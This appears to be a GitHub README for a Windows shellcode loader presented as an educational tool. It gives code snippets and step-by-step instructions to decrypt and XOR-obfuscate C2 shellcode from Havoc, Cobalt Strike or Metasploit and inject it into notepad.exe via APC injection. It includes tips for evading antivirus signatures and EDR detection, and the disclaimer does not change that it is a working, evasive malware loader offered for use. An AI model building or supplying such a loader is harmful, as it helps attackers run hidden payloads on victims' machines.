🕵️ Shellcode Mutator & APC Injection — Research Tool

⚠️ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY This project demonstrates offensive security techniques in a controlled lab context. Use only on systems and environments you own or have explicit written permission to test. Misuse may violate computer fraud laws in your jurisdiction.

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📌 Overview

This project implements a shellcode delivery pipeline that combines multiple evasion techniques to study how modern malware loaders operate. It is intended for cybersecurity students and researchers learning about process injection, shellcode obfuscation, and AV/EDR evasion concepts.

The pipeline runs as follows:

AES-encrypted shellcode (demon.x64.h)
        │
        ▼
   AES-ECB Decrypt  (Decrypt.h / BCrypt API)
        │
        ▼
   NOP Sled Prepend  (ShellcodeMutator.h)
        │
        ▼
   XOR Encode  (Decoder.h)
        │
        ▼
   APC Injection → notepad.exe  (main.cpp / WinAPI)
        │
        ▼
   Shellcode Execution

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🏗️ Architecture

┌──────────────────────────────────────────────────────────┐
│                      main.cpp                            │
│                                                          │
│  1. mutate()  ──→  Decrypt + prepend NOP sled            │
│  2. XOR()     ──→  Encode entire buffer                  │
│  3. CreateProcess (notepad.exe, SUSPENDED)               │
│  4. VirtualAllocEx → WriteProcessMemory                  │
│  5. VirtualProtectEx (PAGE_EXECUTE_READWRITE)            │
│  6. QueueUserAPC → ResumeThread                          │
└──────────────────────────────────────────────────────────┘
         ▲                    ▲
         │                    │
┌────────┴──────┐    ┌────────┴──────────┐
│  Mutate.h     │    │  Decoder.h        │
│  ─────────    │    │  ─────────        │
│  AESDecrypt() │    │  XOR()            │
│  add_nops()   │    │  NOP-aware        │
└───────────────┘    └───────────────────┘
         ▲
         │
┌────────┴──────────────────┐
│  Decrypt.h                │
│  ─────────                │
│  BCrypt AES-ECB           │
│  128 / 192 / 256-bit key  │
└───────────────────────────┘
         ▲
         │
┌────────┴──────────────────┐
│  demon.x64.h              │
│  ─────────                │
│  shellcode[]  (encrypted) │
│  aesKey[]                 │
└───────────────────────────┘

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📁 File Reference

File	Role
main.cpp	Entry point — orchestrates the full pipeline and performs APC injection
Decoder.h	XOR encode/decode — NOP-sled-aware, rolling key
Decrypt.h	AES-ECB decryption via Windows BCrypt API
Mutate.h	Calls AESDecrypt then prepends XOR'd NOP sled via ShellcodeMutator
ShellcodeMutator.h	Class that prepends NOP bytes (XOR'd with key[0]) to the shellcode
demon.x64.h	Shellcode payload container — you fill this in

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🔬 Techniques Explained

1. AES-ECB Decryption

The shellcode is stored pre-encrypted in demon.x64.h. At runtime it is decrypted using the Windows BCrypt API in ECB mode (no IV, block-aligned).

// Decrypt.h — BCrypt AES-ECB
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_ECB, ...);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key.data(), key.size(), 0);
BCryptDecrypt(hKey, ciphertext, ..., plaintext, ..., &resultSize, 0);

Supported key sizes: 128-bit (16 bytes), 192-bit (24 bytes), 256-bit (32 bytes).

Why ECB? ECB has no IV dependency, which simplifies key-only storage. For stronger simulation, CBC or CTR would add an IV prefix.

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2. Shellcode Mutation — NOP Sled Prepend

ShellcodeMutator prepends a configurable number of XOR-obfuscated NOP bytes (0x90) to the shellcode. This alters the byte signature without changing execution behavior (NOPs are decoded by the XOR pass).

// ShellcodeMutator.h
uint8_t nops = 0x90 ^ key[0];         // NOP byte is obfuscated
shellcode.insert(shellcode.begin(), nops);  // prepended N times

This technique makes static signature matching harder — the shellcode's leading bytes differ from any known pattern.

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3. XOR Encoding

After mutation, the entire buffer is XOR-encoded. The encoder is NOP-sled-aware — the first nopCount bytes are encoded with key[0] only, and the rest use a rolling key derived from the full key string.

// Decoder.h — XOR with NOP-sled awareness
for (size_t i = 0; i < size; ++i) {
    if (i < nops)
        buffer[i] ^= key[0];              // NOP region: single-byte key
    else
        buffer[i] ^= key[(i - nops) % keylen];  // payload: rolling key
}

This two-region encoding ensures the NOP sled decodes correctly back to 0x90 when XOR'd again at execution.

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4. APC Injection

APC (Asynchronous Procedure Call) injection is used to execute shellcode inside a legitimate Windows process without creating a visible remote thread.

CreateProcess(notepad.exe, CREATE_SUSPENDED)
        ↓
VirtualAllocEx  →  allocate RWX memory in target
        ↓
WriteProcessMemory  →  write shellcode bytes
        ↓
VirtualProtectEx  →  mark as PAGE_EXECUTE_READWRITE
        ↓
QueueUserAPC((PAPCFUNC)mem, thread, ...)
        ↓
ResumeThread  →  APC fires → shellcode executes

Why APC over CreateRemoteThread?

Technique	Visibility	Detection Risk
CreateRemoteThread	High	Commonly flagged by EDR
QueueUserAPC	Lower	Less monitored, uses existing thread

Note: QueueUserAPC requires the target thread to enter an alertable wait state. CREATE_SUSPENDED + ResumeThread triggers APC dispatch on resume.

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⚙️ Setup

Prerequisites

• OS: Windows 10/11 x64
• IDE: Visual Studio 2022
  • Workload: Desktop development with C++
• SDK: Windows SDK (included with VS, needed for bcrypt.lib)
• Architecture: x64 — both the injector and the shellcode must match

Clone

git clone https://github.com/khalid609/ShellcodeMutator-APCInjection.git
cd ShellcodeMutator-APCInjection

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🚀 How to Use

Follow these steps in order before building.

Step 1 — Generate your shellcode

Generate x64 shellcode using a C2 framework (e.g. Havoc, Cobalt Strike, MSF) then xor it and AES-ECB encrypt it with a key of your choice (16, 24, or 32 bytes). for encode use https://github.com/khalid609/Shellcode-Encoder for encryption use https://github.com/khalid609/AES-Shellcode-Encryptor

Step 2 — Fill in demon.x64.h

// demon.x64.h
std::vector<uint8_t> shellcode = {
    0xAB, 0xCD, ...    // paste your AES-encrypted shellcode bytes here
};
 
std::vector<uint8_t> aesKey = {
    0x00, 0x01, ...    // paste your AES key here (16 / 24 / 32 bytes)
};

Step 3 — Set the XOR key in main.cpp

// main.cpp
const std::string key = "YourXORKeyHere";   // must not be empty

⚠️ An empty key ("") will cause the XOR and NOP functions to return early and do nothing. Always set a non-empty key.

Step 4 — (Optional) Adjust the NOP sled size

// Mutate.h
mutation.add_nops(5, key);   // change 5 to any count you want

// main.cpp
XOR(shellcode.data(), shellcode.size(), key, 5);   // must match the count above

Both values must be equal — the NOP count passed to add_nops and the nopCount argument to XOR.

Step 5 — Configure the target process

By default the injector targets notepad.exe. To change it, edit main.cpp:

BOOL cprocess = CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",  // ← change path here
    ...
);

Step 6 — Build

Visual Studio → Build → Build Solution  (Ctrl+Shift+B)
Platform Target: x64

Verify bcrypt.lib is linked — the pragma in Decrypt.h handles this automatically:

#pragma comment(lib, "bcrypt.lib")

Step 7 — Run

Execute the compiled binary. The console output will trace each step:

Success: Process created in suspended state.
Success: Memory allocated in remote process.
Success: Shellcode written to remote process memory.
Success: Memory protection changed to executable.
Success: APC queued for execution.
Success: Thread resumed. Shellcode should now execute.

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⚠️ Known Limitations

Issue	Detail
AES-ECB mode	ECB has no IV — identical plaintext blocks produce identical ciphertext. CBC or CTR preferred for stronger security.
PAGE_EXECUTE_READWRITE	Allocating RWX memory in one step is a common EDR heuristic trigger. A two-step alloc (RW → RX) is stealthier.
Empty XOR key	XOR() and add_nops() both return early if the key is empty — always set a non-empty key.
NOP count mismatch	add_nops(N) and XOR(..., N) must use the same N value or the NOP region decodes incorrectly.
Hard-coded target	notepad.exe path is hard-coded — make configurable for broader lab use.

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🛡️ What This Teaches

Topic	What you learn
AES-ECB Decryption	Runtime decryption of embedded payloads using BCrypt
XOR Obfuscation	Rolling-key XOR and why key length matters
NOP Sled Mutation	How signature evasion works at the byte level
APC Injection	Stealthy code execution inside a legitimate process
WinAPI Memory Management	VirtualAllocEx, WriteProcessMemory, VirtualProtectEx
Process Creation	CreateProcess with CREATE_SUSPENDED and handle management
BCrypt API	Native Windows crypto without third-party libraries
Handle Hygiene	Proper cleanup of process/thread handles on all code paths

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👤 Author

Khalid — Cybersecurity Student GitHub: @khalid609

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📄 Disclaimer

This project is released for educational use only in isolated lab environments. The author takes no responsibility for misuse. Never deploy against systems you do not own.